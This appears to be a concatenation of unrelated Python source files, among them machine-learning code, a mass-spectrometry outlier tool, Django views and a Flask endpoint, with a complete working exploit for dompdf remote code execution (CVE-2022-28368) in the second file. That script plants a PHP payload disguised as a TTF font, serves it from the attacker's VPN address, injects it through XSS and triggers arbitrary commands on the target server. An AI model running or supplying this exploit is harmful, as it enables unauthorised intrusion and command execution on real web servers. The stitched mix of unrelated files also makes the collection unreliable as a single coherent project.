            # np.savetxt(save_dir + "/%s_synPointCloud.txt"%ir_l_path[i].split("/")[-1][:4], pointCloudSynCpu, fmt="%.04f", delimiter=" ")

def force_cudnn_initialization():
    s = 32
    dev = torch.device('cuda')
    torch.nn.functional.conv2d(torch.zeros(s, s, s, s, device=dev), torch.zeros(s, s, s, s, device=dev))

if __name__ == "__main__":
    force_cudnn_initialization()
    main_batch()


#!/usr/bin/python3

import argparse
import string
import random
from pwn import *
import subprocess
import requests
import netifaces
import sys
import json
import hashlib
from urllib.parse import urlencode

webserver_port = 9001
proxies = {"http": "http://127.0.0.1:8080"}

class dompdf_rce:
    def __init__(self, dompdf, fonts, payload, rhost, query):
        self.dompdf = dompdf
        self.fonts = fonts
        self.payload = payload
        self.rhost = rhost
        self.query = query

    def create_file(self):
        filename = ''.join(random.choice(string.ascii_lowercase) for i in range(4))
        log.info(f"Creating malicious PHP -> {filename}.php")
        url_php = f"http://{self.rhost}:{webserver_port}/{filename}.php"
        with open(f"{filename}.php", "w") as f:
            # Bypassing PHP file upload with TTF byte header
            # TTF header = \x00\x01\x00\x00\x00
            f.write(f"\x00\x01\x00\x00\x00{self.payload}")
            f.close()
        log.info(f"Creating malicious CSS -> {filename}.css")
        with open(f"{filename}.css", "w") as f:
            f.write("""@font-face {
    font-family:'""" + filename + """';
    src:url('""" + url_php + """');
    font-weight:'normal';
    font-style:'normal';
    }
    """)
            f.close()
        return filename,url_php

    def xss(self, url_php, filename):
        log.info(f"Starting up web server on port {webserver_port}")
        if re.search("FUZZ", self.query) is not None:
            payload = re.sub("FUZZ", f"<link rel=stylesheet href='http://{self.rhost}:{webserver_port}/{filename}.css'>", self.query)
            log.info(f"Exploiting XSS with external stylesheet ({url_php})")
            try:
                json_data = json.loads(payload)
                query = urlencode(json_data)
            except ValueError:
                json_data = dict((a.strip(), b.strip()) for a, b in (section.split("=", 1) for section in payload.split("&")))
                query = payload
            http_server = subprocess.Popen(['python3', '-m', 'http.server', '9001', '-d', '.'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
            sleep(3)
            get = requests.get(url = f"{self.dompdf}?{query}")
            log.info(f"Performing GET request with query -> {get.status_code}")
            post_data = requests.post(self.dompdf, data=json_data)
            log.info(f"Performing POST request with query -> {post_data.status_code}")
            post_json = requests.post(self.dompdf, json=json_data)
            log.info(f"Performing POST request with JSON -> {post_json.status_code}")
            log.info(f"Terminating web server on port {webserver_port}")
            http_server.terminate()
            if 200 not in (get.status_code, post_data.status_code, post_json.status_code):
                log.failure("Exploit failed! No 200 status code found in all scenario")
                sys.exit()
            md5sum = hashlib.md5(f'{url_php}'.encode('UTF-8')).hexdigest()
            log.success(f'MD5 hash of "{url_php}" -> {md5sum}')
            url_hash = f"{self.fonts}/{filename}_normal_{md5sum}.php"
            log.success(f'PHP file URL -> "{url_hash}"')
            r = requests.get(url_hash)
            if r.status_code == 200:
                log.info("Triggering PHP")
                log.success("Printing PHP output:")
                print(r.text.replace("\x00", ""))
            else:
                log.failure("File not found! Please check the fonts URL. Normally fonts URL directory located on http://test.com/dompdf/lib/fonts/")
        else:
            log.error(f'Missing "FUZZ" in HTTP query. Query: {self.query}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="dompdf-rce (CVE-2022-28368)")
    parser.add_argument("--dompdf", help="dompdf URL")
    parser.add_argument("--fonts", help="dompdf fonts URL")
    parser.add_argument("--query", help="HTTP query. Please mark with FUZZ. Example: token=abc&input=FUZZ")
    parser.add_argument("--payload", help="Command to execute. Ex: 'ping -c 1 10.10.10.123'")
    args = parser.parse_args()
    if all(arguments is None for arguments in [args.dompdf, args.fonts, args.query, args.payload]):
        log.error("Missing arguments!")
    else:
        try:
            # rhost = "10.10.14.14"
            rhost = netifaces.ifaddresses('tun0')[netifaces.AF_INET][0]['addr']
            exploit = dompdf_rce(args.dompdf, args.fonts, args.payload, rhost, args.query)
            x = exploit.create_file()
            filename = x[0]
            url_php = x[1]
            exploit.xss(url_php, filename)
        except ValueError:
            log.error("Missing tun0 interface! Please check your VPN connection")

dompdf v1.2.1 RCE (CVE-2022-28368)/dompdf-rce.py


import numpy as np
import random
from scipy.stats import norm
from scipy.special import expit as sigmoid

class BBVI(object):
    def __init__(self,trainSource,testSource,featureDim,
    maxIteration,batchSize,sampleSize,stepScale,startPara,
    dataAccessing='RA',interval=100,testSampleNum=200):
        self._maxiteration=maxIteration#最大迭代次数
        self._batchSize=batchSize#batch大小
        self._dataAccessing=dataAccessing
        self._sampleSize=sampleSize#z采样数量
        self._stepScale=stepScale#步长
        self._interval=interval#测试间隔
        self.__batchCount=0#batch在CA获取方式下的标记点
        self._trainLabels,self._trainFeatures=self.__loading(trainSource,featureDim)
        self._testLabels,self._testFeatures=self.__loading(testSource,featureDim)
        self._dim=len(self._trainFeatures[0])#数据维数
        self._trainNum=len(self._trainLabels)#训练数据量
        self._testNum=len(self._testLabels)#测试数据量
        self._testSampleNum=testSampleNum
        '''
        '''
        self.epochs=np.array([batchSize*i/self._trainNum for i in range(maxIteration)])
        self.paras=[]
        self.paras.append(np.array(startPara))
        self.choosenTimes=np.zeros(self._trainNum)#记录训练样本被选中的次数
        self.accuracy=[]#测试项目，准确度
        self.avgloglikelihood=[]#测试项目，loss

    def __loading(self,source,dim):
        labels=[]
        features=[]
        dataNum=0
        '''
        读取数据
        '''
        with open(source,'r') as f:
            datas=f.readlines()
            dataNum=len(datas)
        '''
        转换格式
        '''
        for i in range(dataNum):
            line=datas[i]
            position=line.find(' ')
            label=eval(line[:position])
            feature=eval('{'+line[position+1:len(line)-2].replace(' ',',')+'}')
            temp=np.zeros(dim+1)
            temp[0]=1
            for key in feature.keys():
                temp[key]=1
            labels.append(label)
            features.append(temp)
        labels=np.array(labels)
        features=np.array(features)
        return labels,features

    def _getBatch(self):
        '''
        获取batch索引
        '''
        if(self._dataAccessing=='RA'):
            batches=random.sample(range(0,self._trainNum),self._batchSize)
        elif (self._dataAccessing=='CA'):
            start=self.__batchCount
            end=start+self._batchSize
            if(end<=len(self._trainLabels)):
                batches=list(range(start,end))
                self.__batchCount=end
            else:
                batches=list(range(start,len(self._trainLabels)))
                self.__batchCount=end-len(self._trainLabels)
                batches+=list(range(self.__batchCount))
        else:
            assert 0
        for index in batches:
            self.choosenTimes[index]+=1
        return batches

    def _logPCalc(self,z_sample):
        '''
        计算联合概率log_P
        '''
        minibatchs=self._getBatch()
        Z=np.array([self._trainLabels[index]*np.dot(self._trainFeatures[index],z_sample)\
            for index in minibatchs])
        log_likelihood=np.sum(np.log(sigmoid(Z)))*self._trainNum/self._batchSize
        log_prior=np.sum(norm.logpdf(z_sample,np.zeros(self._dim),np.ones(self._dim)))
        return log_likelihood+log_prior

    def _logQCalc(self,z_sample,mu,sigma2):
        '''
        计算变分分布log_q
        '''
        log_q=np.sum(norm.logpdf(z_sample,mu,np.sqrt(sigma2)))
        return log_q

    def _gradlogQCalc(self,z_sample,mu,sigma2):
        '''
        计算变分分布log_q的梯度
        '''
        score_mu=(z_sample-mu)/sigma2
        score_logsigma2=-0.5*np.ones(self._dim)+np.power((z_sample-mu),2)/(2*sigma2)
        return np.concatenate((score_mu,score_logsigma2))

    def _gradientCalc(self,z_sample,mu,sigma2):
        '''
        计算▽log_q*(log_p-log_q)
        '''
        gradientlogQ=self._gradlogQCalc(z_sample,mu,sigma2)
        log_p=self._logPCalc(z_sample)
        log_q=self._logQCalc(z_sample,mu,sigma2)
        return gradientlogQ*(log_p-log_q)

    def _paraTrans(self,i):
        '''
        将self.paras转换成正太分布的均值和方差
        '''
        mu=self.paras[i][0:self._dim]
        log_sigma2=self.paras[i][self._dim:]
        return mu,np.exp(log_sigma2)

    def _BBVI_basic(self):
        G=np.zeros((2*self._dim,2*self._dim))
        for i in range(self._maxiteration):
            '''
            获取需要的变分分布的均值和方差
            '''
            mu,sigma2=self._paraTrans(i)
            '''
            sample z
            '''
            z_samples=np.array([np.random.normal(mu,np.sqrt(sigma2))\
                    for i in range(self._sampleSize)])#梯度采样
            '''
            计算▽ELBO
            '''
            gradient=np.mean(np.array([self._gradientCalc(z_sample,mu,sigma2)\
                    for z_sample in z_samples]),axis=0)
            G+=np.outer(gradient,gradient)
            para_new=self.paras[i]+gradient*self._stepScale/np.sqrt(np.diag(G))
            '''
            append新值
            '''
            self.paras.append(np.array(para_new))
            '''
            test and print
            '''
            mu,sigma2=self._paraTrans(i+1)
            self._testCalc(i,mu,sigma2)
            self._informationPrint(i)
        self._postProcessing()

    def _informationPrint(self,i):
        if((self._testNum!=0 and  i%self._interval==0 and self._interval!=0)or i==self._maxiteration-1):
            print('第%d次迭代: '%(i))
            print('epochs: ',self.epochs[i])
            print('test_accuracy: ',self.accuracy[len(self.accuracy)-1])
            print('avgloglikelihood: ',self.avgloglikelihood[len(self.avgloglikelihood)-1])
            print('----------------------------------------------')

    def _postProcessing(self):
        '''
        后处理，list转array
        '''
        self.paras=np.array(self.paras)
        self.accuracy=np.array(self.accuracy)
        self.avgloglikelihood=np.array(self.avgloglikelihood)
        self.epochs=np.array(self.epochs)

    def __testCalc1(self,i,para):
        Z=[self._testLabels[j]*np.dot(self._testFeatures[j],para) for j in range(self._testNum)]
        Y=sigmoid(Z)
        return Y

    def _testCalc(self,i,mu,sigma2):
        if((self._testNum!=0 and  i%self._interval==0 and self._interval!=0)or i==self._maxiteration-1):
            z_samples=np.array([np.random.normal(mu,np.sqrt(sigma2))\
                    for i in range(self._testSampleNum)])
            results=np.array([self.__testCalc1(i,para) for para in z_samples])
            Y=np.mean(results,axis=0)
            T=Y*2
            accuracy=sum(T.astype(int))/self._testNum
            avgloglikelihood=-sum(np.log(Y))/self._testNum
            self.accuracy.append(accuracy)
            self.avgloglikelihood.append(avgloglikelihood)


import argparse
import multiprocessing
import shlex

import fim
import pandas as pd

import export
import outlier
import preprocess

##############################################################################

# DATA LOADING AND PRE-PROCESSING

def load_metrics(file_in, min_var, min_corr, scaling):
    # load data from the input file
    data_raw = preprocess.load_metrics(file_in)

    # pre-process: remove low-variance and correlated metrics & scale the values
    data, variance, cor = preprocess.preprocess(data_raw, min_variance=min_var, min_corr=min_corr, scaling_mode=scaling)

    # add the preprocessing results to the qcML export
    exporter.low_variance(pd.Series(variance, index=data_raw.columns.values), min_var)
    exporter.correlation(cor, min_corr)
    exporter.preprocess_overview(data_raw.columns.values, variance, min_var, cor, min_corr)

    # add general visualizations to the qcML export
    exporter.global_visualization(data)

    return data

##############################################################################

# OUTLIER DETECTION

def detect_outliers(data, k, dist, outlier_threshold=None, num_bins=20):
    # compute outlier scores
    outlier_scores = outlier.detect_outliers_loop(data, k, metric=dist)

    # compute the outlier threshold (if required)
    if outlier_threshold is None:
        outlier_threshold = outlier.detect_outlier_score_threshold(outlier_scores, num_bins)

    # add the outlier score information to the qcML export
    exporter.outlier_scores(data, outlier_scores, outlier_threshold, num_bins)

    # separate significant outliers
    data_excluding_outliers, outliers = outlier.split_outliers(data, outlier_scores, outlier_threshold)

    return outliers, pd.Series(outlier_scores, data.index.get_level_values(0))

def analyze_outliers(data, outliers, k, min_sup):
    # retrieve explanatory subspaces for each outlier
    outliers['FeatureImportance'] = object
    outliers['Subspace'] = object
    with multiprocessing.Pool() as pool:
        # compute the subspace for each outlier
        subspaces = {name: pool.apply_async(outlier.get_outlier_subspace, (data, this_outlier, k))
                     for name, this_outlier in outliers.iterrows()}

        # set the outlier subspaces
        for name, result in subspaces.items():
            feature_importance, subspace = result.get()
            outliers.at[name, 'FeatureImportance'] = feature_importance.values
            outliers.at[name, 'Subspace'] = subspace

    # add the outliers' subspaces to the export
    for name, this_outlier in outliers.iterrows():
        exporter.outlier(this_outlier, data)

    # detect frequently occurring explanatory subspaces
    frequent_subspaces = sorted(fim.fim(outliers.Subspace, supp=min_sup, report='S'), key=lambda x: x[1], reverse=True)
    frequent_subspaces_table = pd.DataFrame(index=range(len(frequent_subspaces)),
                                            columns=['Outlier subspace QC metric(s)', 'Support (%)'])
    for i, (subspace, support) in enumerate(frequent_subspaces):
        frequent_subspaces_table.at[i, 'Outlier subspace QC metric(s)'] = ', '.join(subspace)
        frequent_subspaces_table.at[i, 'Support (%)'] = round(support)

    exporter.frequent_outlier_subspaces(frequent_subspaces_table, min_sup)

    return frequent_subspaces

##############################################################################

#  EXECUTE

# command-line execution
def parse_args(args_str=None):
    parser = argparse.ArgumentParser(description='Mass spectrometry quality control metrics analysis')
    parser.add_argument('file_in', type=argparse.FileType('r'),
                        help='the tab-separated input file containing the QC metrics')
    parser.add_argument('file_out', type=argparse.FileType('w'),
                        help='the name of the output file (.html extension for HTML export (default), '
                             '.qcml extension for qcML export')
    parser.add_argument('--min_var', '-var', default=0.0001, type=float,
                        help='metrics with a lower variance will be removed (default: %(default)s)')
    parser.add_argument('--min_corr', '-corr', default=0.9, type=float,
                        help='metrics with a higher correlation will be removed (default: %(default)s)')
    parser.add_argument('--scaling_mode', '-scale', default='robust', type=str, choices=['robust', 'standard'],
                        help='mode to standardize the metric values (default: %(default)s)')
    parser.add_argument('--k_neighbors', '-k', type=int, required=True,
                        help='the number of nearest neighbors used for outlier detection and interpretation')
    parser.add_argument('--distance', '-dist', default='manhattan', type=str,
                        help='metric to use for distance computation (default: %(default)s) '
                             'ny metric from scikit-learn or scipy.spatial.distance can be used')
    parser.add_argument('--min_outlier', '-o', default=None, type=float,
                        help='the minimum outlier score threshold (default: %(default)s) '
                             'if no threshold is provided, an automatic threshold is determined')
    parser.add_argument('--num_bins', '-bin', default=20, type=int,
                        help='the number of bins for the outlier score histogram (default: %(default)s)')
    parser.add_argument('--min_sup', '-sup', default=5, type=int,
                        help='the minimum support for subspace frequent itemset mining (default: %(default)s) '
                             'positive numbers are interpreted as percentages, negative numbers as absolute supports')

    # parse command-line arguments
    if args_str is None:
        return parser.parse_args()
    # or parse string arguments
    else:
        return parser.parse_args(shlex.split(args_str))

def run(args):
    global exporter
    exporter = export.Exporter(True, False)

    data = load_metrics(args.file_in, args.min_var, args.min_corr, args.scaling_mode)
    outliers, outliers_score = detect_outliers(data, args.k_neighbors, args.distance, args.min_outlier, args.num_bins)
    analyze_outliers(data, outliers, args.k_neighbors, args.min_sup)

    try:
        exporter.export(args.file_out)
    finally:
        args.file_out.close()

if __name__ == '__main__':
    run(parse_args())

##############################################################################


''' Define the Layers '''
import torch.nn as nn
import torch.nn.functional as F
from Attention import MultiHeadAttention

class PositionwiseFeedForward(nn.Module):
    ''' A two-feed-forward-layer module '''

    def __init__(self, d_in, d_hid, dropout=0.1):
        super().__init__()
        self.w_1 = nn.Conv1d(d_in, d_hid, 1) # position-wise
        self.w_2 = nn.Conv1d(d_hid, d_in, 1) # position-wise
        self.layer_norm = nn.LayerNorm(d_in)
        self.dropout = nn.Dropout(dropout)

    def forward(self, x):
        residual = x
        output = x.transpose(1, 2)
        output = self.w_2(F.relu(self.w_1(output)))
        output = output.transpose(1, 2)
        output = self.dropout(output)
        output = self.layer_norm(output + residual)
        return output

class EncoderLayer(nn.Module):
    ''' Compose with two layers '''

    def __init__(self, d_model, d_inner, n_head, d_k, d_v, dropout=0.1):
        super(EncoderLayer, self).__init__()
        self.slf_attn = MultiHeadAttention(
            n_head, d_model, d_k, d_v, dropout=dropout)
        self.pos_ffn = PositionwiseFeedForward(d_model, d_inner, dropout=dropout)

    def forward(self, enc_input, non_pad_mask=None, slf_attn_mask=None):
        enc_output, enc_slf_attn = self.slf_attn(
            enc_input, enc_input, enc_input, mask=slf_attn_mask)
        enc_output *= non_pad_mask

        enc_output = self.pos_ffn(enc_output)
        enc_output *= non_pad_mask

        return enc_output, enc_slf_attn

class DecoderLayer(nn.Module):

    def __init__(self, d_o, d_inner, n_head, d_k, d_v, dropout=0.1):
        super(DecoderLayer, self).__init__()
        self.enc_attn = MultiHeadAttention(n_head, d_o, d_k, d_v, dropout=dropout)
        self.pos_ffn = PositionwiseFeedForward(d_o, d_inner, dropout=dropout)

    def forward(self, dec_input, enc_output):

        dec_output, dec_enc_attn = self.enc_attn(dec_input, enc_output, enc_output)
        dec_output = self.pos_ffn(dec_output)

        return dec_output, dec_enc_attn


from django.shortcuts import render
from django.shortcuts import get_object_or_404
# Create your views here.
from django.http import HttpResponse
from .models import Site, Value

def index(request):
    listSites = Site.objects.all()
    context = {'listaSites' : listSites}
    return render(request, 'index.html', context)

def summary(request):
    sites = Site.objects.all()
    sum_a_aux = 0
    sum_b_aux = 0
    sum_a = {}
    sum_b = {}

    for site in sites:
        values_list = Value.objects.filter(site=site)
        for value in values_list:
                sum_a_aux = sum_a_aux + value.value_A
                sum_b_aux = sum_b_aux + value.value_B

        if(len(values_list) != 0):
            sum_a[site] = sum_a_aux
            sum_b[site] = sum_b_aux
            sum_a_aux = 0
            sum_b_aux = 0

    context = {'sites': sites, 'sum_a': sum_a, 'sum_b': sum_b}
    return render(request, 'summary.html', context)

def summary_average(request):
    sites = Site.objects.all()

    sum_a_aux = 0
    sum_b_aux = 0
    average_a = {}
    average_b = {}
    count = 0

    for site in sites:
        values_list = Value.objects.filter(site=site)
        for value in values_list:
            if value.site == site:
                sum_a_aux = sum_a_aux + value.value_A
                sum_b_aux = sum_b_aux + value.value_B
                count = count + 1

        if(len(values_list) != 0):
            average_a[site] = sum_a_aux/count
            average_b[site] = sum_b_aux/count
            count = 0
            sum_a_aux = 0
            sum_b_aux = 0

    context = {'sites': sites, 'average_a': average_a, 'average_b': average_b}
    return render(request, 'summary_average.html', context)

def site_details(request, site_id):
    site = get_object_or_404(Site, pk=site_id)
    values_list = Value.objects.filter(site=site).order_by('pub_date')
    values_list_site = []

    for value in values_list:
            values_list_site.append(value)

    context = {'site': site, 'values_list_site': values_list_site}
    return render(request, 'site_details.html', context)


from functools import lru_cache
from ScienceDynamics.config.log_config import logger

class PapersFetcher(object):
    def __init__(self, db_client, db_name="journals", papers_collection="papers_features",
                 papers_join_collection="aminer_mag_papers"):
        self._db = db_client[db_name]
        self._papers_features_collection = self._db[papers_collection]
        self._papers_join_collections = self._db[papers_join_collection]

    @lru_cache(maxsize=1000000)
    def get_paper_data(self, paper_id):
        j = {}
        #logger.debug(f"Fetching paper {paper_id}")
        try:
            j = self._papers_join_collections.find({"MAG Paper ID": paper_id}).next()

        except StopIteration:
            try:
                j = self._papers_features_collection.find({"Paper ID": paper_id}).next()
            except StopIteration:
                return None

        return j

    def get_journal_papers_data(self, journal_id):
        j = {}
        logger.debug(f"Fetching journal {journal_id} papers")
        try:
            c = self._papers_features_collection.find({'Journal ID mapped to venue name': journal_id})
            l = list(c)
        except StopIteration:
            return []

        return l

    def get_papers_ids_by_issn(self, issn):
        logger.debug(f"Fetching papers with ISSN {issn}")
        try:
            return [j["MAG Paper ID"] for j in self._papers_join_collections.find({"issn": issn})]

        except StopIteration:
            return []


from flask import Flask, request
import json

app = Flask(__name__)

@app.route('/motion-data', methods=['POST'])
def motion_data():
    data = json.loads(request.data)
    # Do something with the motion data (e.g., store it in a database)
    return 'Motion data received'

if __name__ == '__main__':
    app.run(host='192.168.31.177', port=9090)